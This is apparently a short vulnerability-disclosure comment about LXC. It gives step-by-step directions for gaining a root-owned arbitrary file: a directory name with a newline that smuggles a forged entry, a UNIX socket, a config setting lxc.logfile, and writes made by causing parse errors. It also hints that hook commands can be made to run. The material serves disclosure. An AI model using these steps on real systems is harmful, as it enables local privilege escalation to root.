FWIW, I verified this is exploitable.
Just create a new directory like this:
'/tmp/\n0 1 2 3 4 5 6 /tmp/exploit/exploit/'
Then create a UNIX domain socket like this:
'/tmp/\n0 1 2 3 4 5 6 /tmp/exploit/exploit/command'
Now create a config file in there like this:
lxc.logfile = /etc/whatever
That gets you a root owned arbitrary file, now you can write arbitrary
contents to it by causing parse errors. I think if you create a filed
called `partial` it will also run hook commands when it tries to clean
up, but clearly this is enough.
